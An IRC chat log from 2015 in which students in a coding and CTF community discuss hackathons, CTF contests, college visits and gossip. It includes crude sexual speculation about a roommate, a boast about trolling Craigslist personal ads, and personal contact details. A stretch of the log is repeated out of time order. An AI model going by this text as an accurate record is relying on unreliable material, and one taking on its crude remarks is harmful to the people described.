[2015-05-01T15:34:31-0400] <sdamashek> ok
[2015-05-01T15:34:37-0400] <sdamashek> there's no reason to talk to me about it :P
[2015-05-01T15:34:44-0400] <JacobEdelman> also, how do you have this many cs kids at tj?
[2015-05-01T15:34:53-0400] <sdamashek> it also overlaps with defcon quals, which is why I'm not going
[2015-05-01T15:34:54-0400] <JacobEdelman> (really, deep down, I'm jealous, not angry)
[2015-05-01T15:35:17-0400] <sdamashek> lots of people like / are interested in CS
[2015-05-01T15:35:22-0400] <+awe> JacobEdelman: lol, you got date-jacked.
[2015-05-01T15:35:25-0400] <sdamashek> it is a school for science and tech, after all
[2015-05-01T15:35:25-0400] <JacobEdelman> nah
[2015-05-01T15:35:40-0400] <JacobEdelman> awe: we are bigger so we can claim dominance :P
[2015-05-01T15:35:47-0400] <JacobEdelman> sdamashek: true
[2015-05-01T15:35:54-0400] <+awe> sdamashek: I'm upset at the idea that they're charging people to attend.
[2015-05-01T15:35:56-0400] <JacobEdelman> but somebody, I will defeat you guys in a competitition
[2015-05-01T15:36:11-0400] <JacobEdelman> awe: 10$s isn't likely to be prohibtory
[2015-05-01T15:36:23-0400] <+awe> $10 + travel costs is.
[2015-05-01T15:36:23-0400] <JacobEdelman> not as prohibitory as travelling, at least
[2015-05-01T15:36:25-0400] <sdamashek> awe: me too
[2015-05-01T15:36:26-0400] <JacobEdelman> true
[2015-05-01T15:36:36-0400] <JacobEdelman> although I argue hackathons shouldn't pay for travel
[2015-05-01T15:36:37-0400] <sdamashek> awe: it's primarily targeted at TJ students
[2015-05-01T15:36:40-0400] <JacobEdelman> they should be regional things
[2015-05-01T15:36:46-0400] <+awe> Well, yeah, that's probably true.
[2015-05-01T15:36:51-0400] <sdamashek> I think they just failed to find sponsors
[2015-05-01T15:36:53-0400] <JacobEdelman> too much reliance on money
[2015-05-01T15:36:54-0400] <+awe> Either way, admissions is garbage.
[2015-05-01T15:36:57-0400] <JacobEdelman> not enough gain
[2015-05-01T15:38:00-0400] <sdamashek> anyways, if you want to contact the organizers (Coding Lady Colonials), students are CodingLadyColonials@gmail.com, the faculty sponsor is Ria Galanos rgalanos@fcps.edu
[2015-05-01T15:38:53-0400] <+awe> JacobEdelman: the cool part about travel-funded hackathons is that you can go places you'd never get to go though.
[2015-05-01T15:39:02-0400] <+awe> Related: I really, really hope I get funding for ICFP.
[2015-05-01T15:39:08-0400] • kenzierocks: went to korea
[2015-05-01T15:39:12-0400] <kenzierocks> t'was fun
[2015-05-01T15:39:28-0400] <+awe> My advisor's paper got accepted, and so he'll be going. :p
[2015-05-01T15:39:52-0400] <+awe> And it's in Vancouver which should be fun.
[2015-05-01T15:40:56-0400] <JacobEdelman> nice
[2015-05-01T15:41:01-0400] <sdamashek> ooh, Vancouver is great
[2015-05-01T15:41:02-0400] <JacobEdelman> did you ask your advsor about it?
[2015-05-01T15:41:14-0400] <JacobEdelman> if you don't get the monies maybe the umass could fund you
[2015-05-01T15:41:30-0400] <+awe> About ICFP? He helped me edit my application for funding.
[2015-05-01T15:41:37-0400] <JacobEdelman> ah, okay
[2015-05-01T15:42:00-0400] <+awe> And well, the school doesn't really fund our research AFAIK.
[2015-05-01T15:42:10-0400] <+awe> I'm pretty sure our funding is exclusively from NSF.
[2015-05-01T15:42:14-0400] <+awe> As is most of the department's funding.
[2015-05-01T15:47:18-0400] <jwoglom> JacobEdelman: yeah we're not affiliated with that at all
[2015-05-01T15:47:33-0400] <jwoglom> Except that they are using my picture as a background
[2015-05-01T15:47:39-0400] <Tamini_> jwoglom: wanna
[2015-05-01T15:47:42-0400] <Tamini_> do me a favor
[2015-05-01T15:47:45-0400] <Tamini_> and spoil elections for me
[2015-05-01T15:47:51-0400] <Tamini_> or just tell me if Milan actually won
[2015-05-01T15:47:54-0400] <jwoglom> They've already told the candidates
[2015-05-01T15:47:57-0400] <jwoglom> Yes
[2015-05-01T15:48:25-0400] <z3t> Hmm HackTJ schedule shows "hacking" starts at 3:30, and ends at 3:00 the next day. Yet they claim you have 24 hours to work on your project. 
[2015-05-01T15:48:36-0400] <z3t> What a scam.
[2015-05-01T15:49:22-0400] <jwoglom> They also have no sponsors listed
[2015-05-01T15:49:31-0400] <jwoglom> Not exactly a good sign
[2015-05-01T15:50:44-0400] <JacobEdelman> z3t: lol
[2015-05-01T15:50:58-0400] <JacobEdelman> jwoglom: yeah....
[2015-05-01T15:51:10-0400] <JacobEdelman> hs hackathosn in particular seem to be bad
[2015-05-01T15:51:17-0400] <JacobEdelman> *tend to be
[2015-05-01T15:51:46-0400] <jwoglom> Yup
[2015-05-01T15:52:15-0400] <jwoglom> I dunno though, I might just go for the heck of it
[2015-05-01T15:52:32-0400] <z3t> hmm you think they'd let me conduct my
[2015-05-01T15:52:33-0400] <z3t>  sur
[2015-05-01T15:52:44-0400] <z3t> survey there, jwoglom?
[2015-05-01T15:52:53-0400] <z3t> stupid connection is sending messages randomly -_-
[2015-05-01T15:53:00-0400] <jwoglom> z3t: hm?
[2015-05-01T15:53:05-0400] <z3t> my survey
[2015-05-01T15:53:16-0400] <z3t> you think I could do it at the hackathon
[2015-05-01T15:53:37-0400] <jwoglom> The Hackathon is open to non TJ students
[2015-05-01T15:53:41-0400] <jwoglom> You could come if you want
[2015-05-01T15:53:43-0400] <jwoglom> Lol
[2015-05-01T16:00:05-0400] <+awe> z3t: I'd be so miffed about those 30m, mang.
[2015-05-01T16:04:26-0400] <Tamini_> z3t: you like
[2015-05-01T16:04:29-0400] <Tamini_> legitimately could come
[2015-05-01T16:05:07-0400] <+awe> Justice for HackTJ participants! 23h30m is NOT enough. THIRTY MINUTES MORE! THIRTY MINUTES MORE!
[2015-05-01T16:05:17-0400] <+awe> #HackTJRising
[2015-05-01T16:06:45-0400] <z3t> I'd come if HSCTF didn't overlap.
[2015-05-01T16:10:35-0400] <+awe> z3t: porque no los dos?
[2015-05-01T16:10:41-0400] <+awe> z3t: You can just do HSCTF at HackTJ.
[2015-05-01T16:10:47-0400] <Tamini_> also i love how jacob worries that HSCTF overlaps with hacktj
[2015-05-01T16:10:53-0400] <Tamini_> and not that it overlaps with defcon quals
[2015-05-01T16:11:05-0400] <+awe> Well, yeah, you're not the target audience of HSCTF if you're doing defcon.
[2015-05-01T16:11:27-0400] <Tamini_> well, most of us are doing defcon
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[2015-05-01T16:11:35-0400] <+awe> Good.
[2015-05-01T16:11:36-0400] <Tamini_> this channel, that is
[2015-05-01T16:11:44-0400] <Tamini_> but i also want to win again.
[2015-05-01T16:11:56-0400] <+awe> It's better for HSCTF it the good TJ students are doing something harder.
[2015-05-01T16:16:27-0400] <Tamini_> heh, why?
[2015-05-01T16:16:41-0400] <Tamini_> do you also not want us to win again?
[2015-05-01T16:17:23-0400] <kenzierocks> 1064 is merging with shellphish for defcon
[2015-05-01T16:17:38-0400] <jwoglom> You guys are being all legit with defcon stuff lol
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[2015-05-01T16:21:05-0400] <+awe> Tamini_: ;)
[2015-05-01T16:23:11-0400] <Tamini_> awe: it's the last thing I'd do with corwin
[2015-05-01T16:23:15-0400] <Tamini_> I wanna play
[2015-05-01T16:24:50-0400] <+awe> You should consummate your relationship in a last ditch effort to create something lasting then.
[2015-05-01T16:29:01-0400] <Tamini_> ctfs consummate relationships?
[2015-05-01T16:30:08-0400] <+awe> It's the nerd equivalent, isn't it?
[2015-05-01T16:31:50-0400] <Tamini_> i wouldnt know
[2015-05-01T16:32:13-0400] <Tamini_> so am i basically dating everyone i've ever ctf'd with is what youre saying
[2015-05-01T16:33:38-0400] <JacobEdelman> Yes
[2015-05-01T16:34:20-0400] <JacobEdelman> That's basically how dating works, right?
[2015-05-01T16:34:44-0400] <Tamini_> ...yeah, jacob
[2015-05-01T16:34:46-0400] <Tamini_> yeahZ
[2015-05-01T16:34:57-0400] <JacobEdelman> Exhilarating, tiring, filled with confusion yet hope
[2015-05-01T16:35:36-0400] <JacobEdelman> Also, a huge cash prize if you win
[2015-05-01T16:35:38-0400] <JacobEdelman> Oh wait
[2015-05-01T16:35:55-0400] <z3t> awe: even if I go to HackTJ, I don't know anybody, so I'll get stuck on a team with people that only speak Korean or something
[2015-05-01T16:35:56-0400] <jwoglom> Heh, that's an interesting comparison :P
[2015-05-01T16:36:15-0400] <JacobEdelman> jwoglom: one hundred percent works
[2015-05-01T16:36:55-0400] <JacobEdelman> Wait
[2015-05-01T16:37:04-0400] <JacobEdelman> We should ship CTF teams
[2015-05-01T16:37:07-0400] <Tamini_> JacobEdelman: aren't you the relationship expert here
[2015-05-01T16:37:14-0400] <Tamini_> haven't you been in one relationship for like
[2015-05-01T16:37:16-0400] <Tamini_> ages
[2015-05-01T16:37:25-0400] <JacobEdelman> We broke up recently
[2015-05-01T16:37:30-0400] <z3t> aww :(
[2015-05-01T16:37:33-0400] <JacobEdelman> 😢
[2015-05-01T16:37:34-0400] <Tamini_> ...what?!
[2015-05-01T16:37:36-0400] <Tamini_> when?
[2015-05-01T16:37:42-0400] <Tamini_> why Did I not know about this
[2015-05-01T16:37:44-0400] <jwoglom> relationships are hard
[2015-05-01T16:37:45-0400] <Tamini_> what happened
[2015-05-01T16:37:50-0400] <Tamini_> I thought she was in love with you
[2015-05-01T16:37:56-0400] <JacobEdelman> A week ago
[2015-05-01T16:38:03-0400] <JacobEdelman> And complicated
[2015-05-01T16:38:08-0400] <Tamini_> explain more
[2015-05-01T16:38:20-0400] <JacobEdelman> Complicated
[2015-05-01T16:38:21-0400] <Tamini_> tamini the resident relationship therapist is here for you
[2015-05-01T16:38:43-0400] <JacobEdelman> Lol
[2015-05-01T16:38:52-0400] <JacobEdelman> And, no
[2015-05-01T16:39:32-0400] <kenzierocks> got my pico check today
[2015-05-01T16:39:34-0400] <kenzierocks> :D
[2015-05-01T16:39:37-0400] <kenzierocks> new laptop soon
[2015-05-01T16:40:54-0400] <JacobEdelman> Nice
[2015-05-01T16:41:01-0400] <Tamini_> tell meeeee im really curious
[2015-05-01T16:41:04-0400] <Tamini_> kenzierocks: a bit late :3
[2015-05-01T16:41:04-0400] <JacobEdelman> Get a system 76
[2015-05-01T16:41:10-0400] <Tamini_> what are you doing with the money?
[2015-05-01T16:41:47-0400] <Tamini_> correct answer: donate to the "get Tamini video games" find :D
[2015-05-01T16:41:57-0400] <+awe> No, no.
[2015-05-01T16:42:04-0400] <Tamini_> fund*
[2015-05-01T16:42:05-0400] <+awe> Donate to the "Get Aaron a Rasp Pi fund."
[2015-05-01T16:42:08-0400] <+awe> Erm...
[2015-05-01T16:42:12-0400] <+awe> Donate to the "Get Aaron a Rasp Pi" fund.
[2015-05-01T16:42:32-0400] <+awe> Alternatively, Pdgn could use some funding.
[2015-05-01T16:42:47-0400] <+awe> We technically only have like 3 more moneys of funding.
[2015-05-01T16:42:49-0400] <kenzierocks> Tamini_: buing a laptop?
[2015-05-01T16:42:54-0400] <kenzierocks> <kenzierocks> new laptop soon
[2015-05-01T16:43:10-0400] <+awe> Months of funding. Not moneys of funding. Months.
[2015-05-01T16:43:20-0400] <Tamini_> ah okay
[2015-05-01T16:43:37-0400] <Tamini_> i think aaron should have just won tjctf
[2015-05-01T16:44:03-0400] <+awe> Honestly, we should probably just compete in some CTF as a Pdgn team and then use all the money to fund it for a while. :p
[2015-05-01T16:44:28-0400] <+awe> We have the talent here to win some prize money.
[2015-05-01T16:44:43-0400] <+awe> Considering a number of you already do that on a regular basis. :p
[2015-05-01T16:44:47-0400] <+awe> especially nezorg.
[2015-05-01T16:44:48-0400] <z3t> TIL scholar.google.com best thing ever when writing papers
[2015-05-01T16:45:21-0400] <nezorg> awe: ssssshhhhhh
[2015-05-01T16:45:51-0400] <nezorg> i just got my picoctf check today, actually :P
[2015-05-01T16:46:02-0400] <z3t> I estimate
[2015-05-01T16:46:12-0400] <+awe> nezorg: so, I should expect the donation after the check clears in 3 business days?
[2015-05-01T16:46:40-0400] <nezorg> i already preemptively spent a lot of it on my tokyo trip :P
[2015-05-01T16:48:39-0400] <+awe> So, I should expect the rest of it after the check clears in 3 business days?
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[2015-05-01T16:50:06-0400] <Tamini_> :D
[2015-05-01T16:50:20-0400] <Tamini_> awe
[2015-05-01T16:50:26-0400] <Tamini_> I think you should host a high school ctf
[2015-05-01T16:50:33-0400] <Tamini_> and invite the winners to umass :D
[2015-05-01T16:51:22-0400] <z3t> ayy we can blaze it with awe and the advisor
[2015-05-01T16:52:10-0400] <JacobEdelman> alternativel
[2015-05-01T16:52:15-0400] <JacobEdelman> *alternatively
[2015-05-01T16:52:19-0400] <JacobEdelman> we can visit umass
[2015-05-01T16:52:34-0400] <JacobEdelman> under the guise of college visits
[2015-05-01T16:52:41-0400] <JacobEdelman> which I think I will if I get the chance
[2015-05-01T16:52:58-0400] <JacobEdelman> wait, all you TJ people should visit princeton
[2015-05-01T16:53:06-0400] <JacobEdelman> say its a college visit
[2015-05-01T16:53:07-0400] <JacobEdelman> and come
[2015-05-01T16:53:15-0400] <JacobEdelman> we have books
[2015-05-01T16:53:16-0400] <JacobEdelman> and food
[2015-05-01T16:53:22-0400] <JacobEdelman> and conway
[2015-05-01T16:54:03-0400] <+awe> JacobEdelman: when you come, you should give me a heads up and I can see if you can meet Arjun.
[2015-05-01T16:54:12-0400] <JacobEdelman> cool
[2015-05-01T16:54:30-0400] <Tamini_> i go for pumac
[2015-05-01T16:54:30-0400] <JacobEdelman> also, are you gonna be able to come for the end of hsctf reunion?
[2015-05-01T16:54:38-0400] <Tamini_> i'm going to miss alok tho
[2015-05-01T16:54:44-0400] <Tamini_> getting lost together was a blast
[2015-05-01T16:54:47-0400] <Tamini_> and I WISH I COULD
[2015-05-01T16:54:49-0400] <Tamini_> :( invite me
[2015-05-01T16:54:51-0400] <+awe> JacobEdelman: which is when?
[2015-05-01T16:54:53-0400] <JacobEdelman> lol
[2015-05-01T16:54:56-0400] <JacobEdelman> awe: around may 22nd/23rd or something
[2015-05-01T16:55:06-0400] <+awe> If it's the 23rd, yes.
[2015-05-01T16:55:14-0400] <JacobEdelman> and if its the 22nd?
[2015-05-01T16:55:18-0400] <+awe> I'll be flying.
[2015-05-01T16:55:29-0400] <JacobEdelman> okay
[2015-05-01T16:55:33-0400] <JacobEdelman> 23rd should be good
[2015-05-01T16:55:42-0400] <+awe> I arrive in Philly around 4 PM on the 22nd.
[2015-05-01T16:56:10-0400] <JacobEdelman> okay
[2015-05-01T16:56:24-0400] <+awe> But yes, the 23rd is perfect.
[2015-05-01T16:56:27-0400] <JacobEdelman> or should we do it on the 24th?
[2015-05-01T16:56:39-0400] <JacobEdelman> wait, lemme check
[2015-05-01T16:56:49-0400] <+awe> 24th works too, although I was planning on driving up to Massachusetts on the 24th, but no harm done if I don't.
[2015-05-01T16:56:57-0400] <JacobEdelman> hmmm
[2015-05-01T16:57:01-0400] <JacobEdelman> that is the last day of hsctf
[2015-05-01T16:57:26-0400] <JacobEdelman> I'll check with the others
[2015-05-01T16:57:29-0400] <JacobEdelman> see what day works the best
[2015-05-01T17:06:48-0400] <+awe> Okay!
[2015-05-01T17:06:56-0400] <+awe> Hopefully either of those days will work.
[2015-05-01T17:07:12-0400] <JacobEdelman> yup
[2015-05-01T17:08:31-0400] <Tamini_> dammit
[2015-05-01T17:08:39-0400] <Tamini_> i wish i lived near you guys :<
[2015-05-01T17:08:45-0400] <JacobEdelman> I mean
[2015-05-01T17:08:50-0400] <JacobEdelman> awe no longer lives close to us
[2015-05-01T17:08:55-0400] <JacobEdelman> he lives in mass
[2015-05-01T17:09:00-0400] <Tamini_> also how do I leave Alok a note again
[2015-05-01T17:09:02-0400] <JacobEdelman> and his parents in florida
[2015-05-01T17:09:12-0400] <JacobEdelman> Tamini_: well, first you go to his house
[2015-05-01T17:09:15-0400] <JacobEdelman> ...
[2015-05-01T17:09:16-0400] <JacobEdelman> :P
[2015-05-01T17:09:22-0400] <Tamini_> you know what i mean
[2015-05-01T17:09:26-0400] <JacobEdelman> no idea
[2015-05-01T17:09:29-0400] <+awe> Tamini_: @tell alokpathy ...
[2015-05-01T17:09:36-0400] <JacobEdelman> @tell alokpathy ...
[2015-05-01T17:09:36-0400] <+awebot> JacobEdelman: I'll let them know!
[2015-05-01T17:09:37-0400] <JacobEdelman> or wait
[2015-05-01T17:09:41-0400] <JacobEdelman> @tell apathy ...
[2015-05-01T17:09:41-0400] <+awebot> JacobEdelman: I'll let them know!
[2015-05-01T17:09:42-0400] <Tamini_> thanks
[2015-05-01T17:10:01-0400] <+awe> JacobEdelman: Massachusetts is closer to you than Tamini_ is.
[2015-05-01T17:10:03-0400] <Tamini_> @tell alokpathy I'm too scared to ask myself; how did d2 go for brice?
[2015-05-01T17:10:03-0400] <+awebot> Tamini_: I'll let them know!
[2015-05-01T17:10:30-0400] <JacobEdelman> d2?
[2015-05-01T17:10:42-0400] <JacobEdelman> oh
[2015-05-01T17:10:44-0400] <JacobEdelman> day 2 of usamo?
[2015-05-01T17:12:43-0400] <Tamini_> mm
[2015-05-01T17:42:10-0400] <z3t> http://abcnews.go.com/US/freddie-grays-death-ruled-homicide-states-attorney/story?id=30728026
[2015-05-01T17:42:29-0400] <z3t> Ah, justice.
[2015-05-01T18:09:23-0400] <jwoglom> lol. so dr. glazer (principal) posted a response to a Washington post article on TJ and included this line:
[2015-05-01T18:09:25-0400] <jwoglom> "The school also encourages underrepresented groups to create clubs and events and the Coding Lady Colonials, co-founded by Ms. Zug, is an active organization on campus. The group is running a “Hackathon” on May 16-17 - a 24-hour marathon of computer coding and programming - and would appreciate having more sponsors and support from professional organizations, including the Washington Post. "
[2015-05-01T18:19:19-0400] <+awe> JacobEdelman: lol
[2015-05-01T18:19:22-0400] <+awe> dangit.
[2015-05-01T18:19:23-0400] <+awe> jwoglom: lol
[2015-05-01T18:19:52-0400] <kenzierocks> do we have to do the j thing again
[2015-05-01T18:19:56-0400] <jwoglom> Was that controversial article mentioned in here?
[2015-05-01T18:20:19-0400] <jwoglom> About how the lena test image is apparently pornography?
[2015-05-01T18:22:11-0400] fwilson is now known as jfwilson
[2015-05-01T18:22:19-0400] z3t is now known as fwilson
[2015-05-01T18:22:21-0400] <kenzierocks> link?
[2015-05-01T18:22:28-0400] <fwilson> tj sucks
[2015-05-01T18:22:29-0400] fwilson is now known as z3t
[2015-05-01T18:22:34-0400] <z3t> oh really fwilson?
[2015-05-01T18:22:48-0400] <jfwilson> lol nick throttled
[2015-05-01T18:23:34-0400] <jfwilson> z3t: you have to nick back to continue the conversation
[2015-05-01T18:24:25-0400] z3t is now known as fwilson
[2015-05-01T18:24:28-0400] <fwilson> yeah everyone here is stupid
[2015-05-01T18:24:31-0400] fwilson is now known as z3t
[2015-05-01T18:24:37-0400] <z3t> oh yeah that's what I heard
[2015-05-01T18:24:56-0400] <jfwilson> go on
[2015-05-01T18:24:58-0400] <jfwilson> this is getting interesting
[2015-05-01T18:25:13-0400] z3t is now known as fwilson
[2015-05-01T18:25:14-0400] fwilson is now known as Pdgn56367
[2015-05-01T18:25:14-0400] jfwilson is now known as 678AACH70
[2015-05-01T18:25:17-0400] <678AACH70> ayy
[2015-05-01T18:25:19-0400] Pdgn56367 is now known as z3t
[2015-05-01T18:25:26-0400] <z3t> heh ok
[2015-05-01T18:25:35-0400] <678AACH70> awe: im in ur ircd, breakin ur nick changin rulez
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[2015-05-01T18:33:48-0400] <z3t> oh great XBL down again
[2015-05-01T18:33:53-0400] <z3t> gotta love skids with booters :/
[2015-05-01T18:34:14-0400] <z3t> (LittleBobbyTables)
[2015-05-01T18:34:19-0400] <jwoglom> kenzierocks: http://www.washingtonpost.com/opinions/a-playboy-centerfold-does-not-belong-in-tj-classrooms/2015/04/24/76e87fa4-e47a-11e4-81ea-0649268f729e_story.html
[2015-05-01T18:34:30-0400] <jwoglom> Original title was s/centerfold/porn/
[2015-05-01T18:36:25-0400] <kenzierocks> hah
[2015-05-01T18:41:09-0400] <z3t> honestly just sounds like a person that wants to make a big deal out of something for attention
[2015-05-01T18:42:00-0400] <kenzierocks> z3t: ...like everyone in media?
[2015-05-01T18:42:07-0400] <kenzierocks> #harshsterotypes
[2015-05-01T18:43:40-0400] <z3t> no not really
[2015-05-01T18:46:00-0400] <JacobEdelman> Wait
[2015-05-01T18:46:28-0400] <JacobEdelman> The head person running tjs hackathon
[2015-05-01T18:46:39-0400] <JacobEdelman> Is the same person who wore that article?
[2015-05-01T18:47:15-0400] <JacobEdelman> *wrote
[2015-05-01T18:47:29-0400] <kenzierocks> wore that article of clothing
[2015-05-01T18:53:59-0400] <sdamashek> JacobEdelman: no
[2015-05-01T18:54:13-0400] <sdamashek> I mean, she's a co-founder of CLC yeah
[2015-05-01T18:54:24-0400] <sdamashek> but the person running it is the faculty sponsor, Ms. Galanos
[2015-05-01T19:02:26-0400] <alokpathy> Tamini_: "Day 2: USAMslightlylessOwned"
[2015-05-01T19:02:26-0400] <+awebot> alokpathy: An hour ago, JacobEdelman said ...
[2015-05-01T19:02:26-0400] <+awebot> alokpathy: An hour ago, Tamini_ said I'm too scared to ask myself; how did d2 go for brice?
[2015-05-01T19:03:03-0400] <alokpathy> Tamini_: As a basis for comparison, " Day 1: USAMOwned"
[2015-05-01T19:03:13-0400] <kenzierocks> lol
[2015-05-01T19:09:24-0400] <alokpathy> I'm trying to get my friends to go bowling in tux's and dresses instead of prom in tux's and dresses.
[2015-05-01T19:09:36-0400] <jwoglom> JacobEdelman: basically, she founded the club that's running it
[2015-05-01T19:10:01-0400] <jwoglom> z3t: you taking the sat tomorrow?
[2015-05-01T19:16:18-0400] <z3t> jwoglom: no I took it in March
[2015-05-01T19:16:49-0400] <z3t> why, are you?
[2015-05-01T19:17:16-0400] <+awe> [18:25:35]  <678AACH70>	awe: im in ur ircd, breakin ur nick changin rulez
[2015-05-01T19:17:19-0400] <+awe> 678AACH70: uwot
[2015-05-01T19:18:33-0400] <678AACH70> awe: ayy
[2015-05-01T19:18:40-0400] <678AACH70> try /nick 1awe
[2015-05-01T19:19:41-0400] <kenzierocks> * 1awe :Erroneous Nickname
[2015-05-01T19:19:48-0400] <+awe> Why?
[2015-05-01T19:20:09-0400] <kenzierocks> notice how numbers are banned from the start of names
[2015-05-01T19:20:17-0400] <+awe> Oh.
[2015-05-01T19:20:21-0400] • awe: shrugs.
[2015-05-01T19:20:23-0400] <+awe> I don't really care.
[2015-05-01T19:20:35-0400] <z3t> > democracy 
[2015-05-01T19:20:45-0400] <z3t> > can't have numbers at start of nick
[2015-05-01T19:21:44-0400] <+awe> Do you want me to change that?
[2015-05-01T19:21:48-0400] <+awe> I can look into changing i.
[2015-05-01T19:21:49-0400] <+awe> it*
[2015-05-01T19:21:56-0400] <LittleBobbyTables> z3t: please, I only pay for nets when I need them
[2015-05-01T19:22:14-0400] <678AACH70> you can't change it
[2015-05-01T19:23:12-0400] Disconnect for Sleep Mode
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[2015-05-01T19:34:10-0400] awe (awe@admin.pdgn.co) joined the channel
[2015-05-01T19:34:12-0400] Topic is PdgnCo: http://pdgn.co/ | Donate to PdgnCo: 1BZmyVhDu3p6xqsnat81fYD7hm3ZqR2bf
[2015-05-01T19:34:12-0400] Set by awe on April 26, 2015 at 12:20:05 AM EDT
[2015-05-01T18:24:56-0400] <jfwilson> go on
[2015-05-01T18:24:58-0400] <jfwilson> this is getting interesting
[2015-05-01T18:25:17-0400] <678AACH70> ayy
[2015-05-01T18:25:26-0400] <z3t> heh ok
[2015-05-01T18:25:35-0400] <678AACH70> awe: im in ur ircd, breakin ur nick changin rulez
[2015-05-01T18:33:48-0400] <z3t> oh great XBL down again
[2015-05-01T18:33:53-0400] <z3t> gotta love skids with booters :/
[2015-05-01T18:34:14-0400] <z3t> (LittleBobbyTables)
[2015-05-01T18:34:19-0400] <jwoglom> kenzierocks: http://www.washingtonpost.com/opinions/a-playboy-centerfold-does-not-belong-in-tj-classrooms/2015/04/24/76e87fa4-e47a-11e4-81ea-0649268f729e_story.html
[2015-05-01T18:34:30-0400] <jwoglom> Original title was s/centerfold/porn/
[2015-05-01T18:36:25-0400] <kenzierocks> hah
[2015-05-01T18:41:09-0400] <z3t> honestly just sounds like a person that wants to make a big deal out of something for attention
[2015-05-01T18:42:00-0400] <kenzierocks> z3t: ...like everyone in media?
[2015-05-01T18:42:07-0400] <kenzierocks> #harshsterotypes
[2015-05-01T18:43:40-0400] <z3t> no not really
[2015-05-01T18:46:00-0400] <JacobEdelman> Wait
[2015-05-01T18:46:28-0400] <JacobEdelman> The head person running tjs hackathon
[2015-05-01T18:46:39-0400] <JacobEdelman> Is the same person who wore that article?
[2015-05-01T18:47:15-0400] <JacobEdelman> *wrote
[2015-05-01T18:47:29-0400] <kenzierocks> wore that article of clothing
[2015-05-01T18:53:59-0400] <sdamashek> JacobEdelman: no
[2015-05-01T18:54:13-0400] <sdamashek> I mean, she's a co-founder of CLC yeah
[2015-05-01T18:54:24-0400] <sdamashek> but the person running it is the faculty sponsor, Ms. Galanos
[2015-05-01T19:02:26-0400] <alokpathy> Tamini_: "Day 2: USAMslightlylessOwned"
[2015-05-01T19:02:26-0400] <+awebot> alokpathy: An hour ago, JacobEdelman said ...
[2015-05-01T19:02:26-0400] <+awebot> alokpathy: An hour ago, Tamini_ said I'm too scared to ask myself; how did d2 go for brice?
[2015-05-01T19:03:03-0400] <alokpathy> Tamini_: As a basis for comparison, " Day 1: USAMOwned"
[2015-05-01T19:03:13-0400] <kenzierocks> lol
[2015-05-01T19:09:24-0400] <alokpathy> I'm trying to get my friends to go bowling in tux's and dresses instead of prom in tux's and dresses.
[2015-05-01T19:09:36-0400] <jwoglom> JacobEdelman: basically, she founded the club that's running it
[2015-05-01T19:10:01-0400] <jwoglom> z3t: you taking the sat tomorrow?
[2015-05-01T19:16:18-0400] <z3t> jwoglom: no I took it in March
[2015-05-01T19:16:49-0400] <z3t> why, are you?
[2015-05-01T19:17:16-0400] <+awe> [18:25:35]  <678AACH70>	awe: im in ur ircd, breakin ur nick changin rulez
[2015-05-01T19:17:19-0400] <+awe> 678AACH70: uwot
[2015-05-01T19:18:33-0400] <678AACH70> awe: ayy
[2015-05-01T19:18:40-0400] <678AACH70> try /nick 1awe
[2015-05-01T19:19:41-0400] <kenzierocks> * 1awe :Erroneous Nickname
[2015-05-01T19:19:49-0400] <+awe> Why?
[2015-05-01T19:20:09-0400] <kenzierocks> notice how numbers are banned from the start of names
[2015-05-01T19:20:17-0400] <+awe> Oh.
[2015-05-01T19:20:21-0400] • awe: shrugs.
[2015-05-01T19:20:23-0400] <+awe> I don't really care.
[2015-05-01T19:20:35-0400] <z3t> > democracy 
[2015-05-01T19:20:45-0400] <z3t> > can't have numbers at start of nick
[2015-05-01T19:21:44-0400] <+awe> Do you want me to change that?
[2015-05-01T19:21:48-0400] <+awe> I can look into changing i.
[2015-05-01T19:21:49-0400] <+awe> it*
[2015-05-01T19:21:56-0400] <LittleBobbyTables> z3t: please, I only pay for nets when I need them
[2015-05-01T19:22:14-0400] <678AACH70> you can't change it
[2015-05-01T19:34:13-0400] Mode is +nrt
[2015-05-01T19:34:43-0400] <+awe> 678AACH70: unfortunate.
[2015-05-01T19:34:50-0400] <678AACH70> awe: yes
[2015-05-01T19:36:41-0400] <+awe> I'm pretty sure my roommate jerks it standing up on FaceTime calls as a shared sexual act with women in the west coast.
[2015-05-01T19:37:05-0400] <+awe> A significant portion of the time when I return to my room, he's in his underwear, standing, and putting pants on while talking on FaceTime.
[2015-05-01T19:37:54-0400] <alokpathy> wat
[2015-05-01T19:38:39-0400] <LittleBobbyTables> Fucking with the person for person ads on craigslist is so much fun.
[2015-05-01T19:39:08-0400] <LittleBobbyTables> That was also completely unrelated to what awe said.
[2015-05-01T19:39:33-0400] <kenzierocks> lbt: is that like literally fucking or messing around with
[2015-05-01T19:39:38-0400] <kenzierocks> i'm too tired to discern
[2015-05-01T19:39:45-0400] <LittleBobbyTables> yes
[2015-05-01T19:39:53-0400] <kenzierocks> ok cool
[2015-05-01T19:40:28-0400] <kenzierocks> call=bytes.__call__; while call: call = call.__call__
[2015-05-01T19:40:32-0400] <+awe> Okay, so, he's now changing pants again.
[2015-05-01T19:40:36-0400] <+awe> So, either, my theory is right.
[2015-05-01T19:40:44-0400] <+awe> Or he's just a weirdo and he changes pants every ten minutes.
[2015-05-01T19:41:55-0400] <LittleBobbyTables> http://prntscr.com/70gzie
[2015-05-01T19:42:47-0400] <678AACH70> ok
[2015-05-01T19:42:50-0400] <LittleBobbyTables> http://prntscr.com/70gzuk
[2015-05-01T19:42:54-0400] <LittleBobbyTables> "Status: widowed"
[2015-05-01T19:42:59-0400] <LittleBobbyTables> ....
[2015-05-01T19:45:56-0400] <LittleBobbyTables> These are so entertaining
[2015-05-01T19:47:00-0400] <+awe> LittleBobbyTables: "please no male"
[2015-05-01T19:47:13-0400] <LittleBobbyTables> "i keep getting you for some reason"
[2015-05-01T19:47:21-0400] <LittleBobbyTables> Yeah, these are great ^_^
[2015-05-01T19:47:41-0400] <LittleBobbyTables> Some of the w4m ones are pretty hilarious as well, but most are fake
[2015-05-01T19:48:59-0400] <+awe> Wait, the last PClassic was Pokemon themed?
[2015-05-01T19:49:05-0400] <+awe> WHY DID I NOT GET TO GO TO THAT?
[2015-05-01T19:49:47-0400] <LittleBobbyTables> BECAUSE it was Pokemon themed.
[2015-05-01T19:51:32-0400] <alokpathy> awe: Yes it was :)
[2015-05-01T19:51:59-0400] <alokpathy> Because somebody from HSN suggested a Pokemon theme during Fall2014
[2015-05-01T19:52:07-0400] <+awe> Ah, very nice.
[2015-05-01T19:52:09-0400] <alokpathy> so they had a Pokemon theme for the Spring2015 contest
[2015-05-01T19:52:17-0400] <+awe> Also, lol @ 3 "unaffiliated from Virginia" teams and one Stuy.
[2015-05-01T19:52:24-0400] <+awe> I see you, Tamini_.
